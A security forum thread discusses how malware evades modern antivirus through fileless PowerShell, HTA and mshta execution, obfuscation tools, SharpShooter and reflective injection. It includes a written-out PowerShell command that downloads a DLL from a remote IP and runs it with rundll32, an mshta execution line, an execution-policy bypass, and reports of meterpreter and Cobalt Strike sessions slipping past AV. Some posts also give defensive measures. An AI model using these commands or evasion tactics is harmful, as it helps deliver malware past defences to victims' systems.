Nowadays. Old and traditional bypass technics used by malware failed in front of modern AV software.
This is due to the whitelisting strategy adopted by antivirus solutions (AV won’t let an unsigned binary to be executed).
And also with the runtime monitoring now in effect.
So I wonder how on the other side, bypass techniques can be improved to face new detection mechanism.
2 Likes
This is news to me, from which source did you get this information? Are you talking about AVs in general or specific versions? 
2 Likes
The easiest option I can think of is fileless malware: malicious code that is loaded into memory without being stored on the disk. This kind of malicious code works by being passed on to a trusted program, typically PowerShell, through a delivery method that is usually a web page containing JavaScript code or sometimes even a Flash application, if not even through an Office macro, to name an attack vector we’re all familiar with.
By letting this trusted executable run the actual code instead of downloading a remote malicious program on the target machine you bypass the signing issue and won’t have to worry about scan-time detection, at least if you’re not using macros, which are stored inside the legit file and can thus be detected with specific AV rules if set properly, even though there are ways to make up for this through some clever obfuscation (maybe I could make a thread about this?).
As for runtime monitoring and heuristic detection, all I can say is it depends on how these security measures are implemented: you can’t set up an environment where every single operation triggers a warning, it would be impractical for anyone who wishes to use it, so you need to leave a margin of trust to the operations a user is allowed to perform without firing the alarm, and because of this there will always be the chance of someone abusing it or finding a way to circumvent it altogether. As a consequence a lot of malware is able to perform some sort of check to detect running AVs, virtual environments and sandboxes, and are able to behave accordingly, for example by using several tricks to convince the AV that the process is harmless.
Antivirus evasion is not an easy subject and I’m not an expert myself so if you want to learn much more about older and present techniques I redirect you to this very interesting book, it’s a great read.
5 Likes
Am I right in saying you’re talking about this?
I’m not an expert, but I know pentesters that do this.
While they don’t need to be signed by default I think this can be changed, but I don’t remember where.
I think one of the main things people I know use is Invoke-Obfuscation to obfuscate powershell scripts. For actually running the script XSL and HTA work well.
There are things you can do to stop this working as well; like enabling script block logging, using constrained language mode and disabling powershell 1 (you can bypass the constrained mode by running the script with powershell 1 instead of a later one).
While by default powershell’s execution policy will not allow scripts it is trivial to bypass with something like
powershell.exe -exec bypass
There is also a script called Revoke-Obfuscation which tries to detect obfuscation to block scripts using it.
There is also the anti malware scan interface being used by windows defender and others, but that can be bypassed.
It might also be worth pointing out that Microsoft is doing some machine learning cloud stuff with windows defender that can be used (only in the buisness versions iirc) this also works with powershell scripts and office macros.
4 Likes
@dtm @Baud @lkw even with fileless malwares … for example when I use a simple :
powershell -nop -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.5:8080/apt.dll', 'C:\ProgramData\a.dll') ;copy 'C:\ProgramData\a.dll' 'C:\ProgramData\x.dll' ;rundll32 C:\ProgramData\x.dll,Run "
The dll is downloaded but the AV (in this case Trend Micro) prevent rundll32 from running the dll .
Even a simple :
mshta.exe javascript:"<script language=vbscript>createobject(\"WScript.Shell\").run(\"rcalc.exe\")\r\nclose()</script>
trigger the anti-virus .
1 Like
Have you tried using sharpshooter?
1 Like
@pry0cc Thank you!! I succeed with Sharpshooter, I’ve got a meterpreter session combining some tricks. But the main question is does the exe malwares are dead in 2018? is this the only way malwares authors can spread their code? what do you think?
1 Like
This isn’t file-less because you’re dropping a file to disk. If you want to file-lessly execute a traditional PE file using PowerShell, you can reflectively load it using a module like Invoke-ReflectivePEInjection. I believe mshta is flagged by Defender so I assume that would not be a very easy method.
I don’t believe that AV on the average user’s computer would use such strict policies such as whitelisting and allowing on signed executables because of the nature of software sharing on Windows systems.
2 Likes
I haven’t experimented on it but I consider this is a good read to get a grasp on how things work from the inside. Defeating Antivirus Real-time Protection From The Inside
Yes - kind of.
Executables are blocked in emails everywhere, and even technically inept people are beginning to learn that if somebody sends you an exe, it’s probably malicious.
However, if you do want to run an executable, you need to sign the executable, because things like windows defender + chrome will pickup on unsigned exe’s, and block them. This is similar to how MacOS handles .app files that are unsigned.
As for powershell, that’s pretty much dead now too. The main way forward now is vbscript with HTA files, as well as javascript files. Those are still alive and kicking, especially with things like sharpshooter.
@dtm, I do not thing mshta is detected by defender, I am going to test this again today but with cobalt strike beacons.
Last I tried to form a polyglot HTA using mshta.exe in an LNK, Defender wiped it out as soon as I created it.
I made a cobalt strike beacon today with sharpshooter HTA and it worked great.
1 Like
The undetectable C# reverse shell blog post you linked also seems to indicate that you can get away with a lot in a C# program. 1/32 detections for a straight reverse shell .exe is pretty good.
Ah then it must be that specific signature then.
I haven’t tested my own file-less project against Defender + AV yet. I’m sure it might be detected since it was not initially designed with that consideration in mind but it would be nice to test it in a VM. Maybe I’ll try it for fun and add the results into the report. ¯\_(ツ)_/¯
1 Like
Thank you so much !!
@dtm @pry0cc is there any option to reflectively inject a pe file in memory using Javascript / COM objects?
So I understand that nowadays, the only way to get the job than in a stealthy way is through an HTA file?
Is that true? What if AV softwares start blocking and deleting HTA files ?
And do malware authors sign their binary?
It’s really awesome, but at this stage, you already have a process … so it is useful to bypass runtime detection .
Hmmm - I don’t think you could reflectively infect a pe file in memory using JS/Com objects, however you could use javascript as a stager, that could pull and run a powershell script, such as:
And then reflectively inject. However I don’t know if this would be detected or not with windows defender. What is your goal in doing this? If you want to execute code, then you can do that with C# stagers, like sharpshooter, you just need raw shellcode.
And yes, malware authors sign their binaries all the time. Sometimes they just register under a false identity as a developer, or they steal certificates from other places. If you pay enough in the shady parts of the internet, you can buy certificates.
1 Like
As for HTA blocking, who knows, we’ll find a new way, there is always a way.
There are many LOLBINS, or Living Off The Land BINaries, you can find a list of these here:
Windows is full of interesting code execution methods, and it generally helps to examine email malware, ransomware and crypto miners that exist today, and try and see how they are getting code exec. Perhaps eventually phishing will taper off, but then we’ll simply move our attention to new methods.
We have a long way to go before phishing stops being a reliable attacker vector. You also need to keep in mind, that a LOT of organizations don’t even update their software regularly, windows updates are known to break things, and so even if Microsoft do stop allowing HTA and Javascript files, it will take 10 years+ before all organizations start to adopt that standard, or update their systems to that level.
You need to understand that organizations with less than 200 employees don’t even have competent IT staff, let alone security personnel.
This is why we need to do our best to educate non-security professionals, such as developers and IT admins, they’re the future of our security landscape, and they will help to patch the gap while organizations are still learning that security is important, and needs to be budgeted for.
3 Likes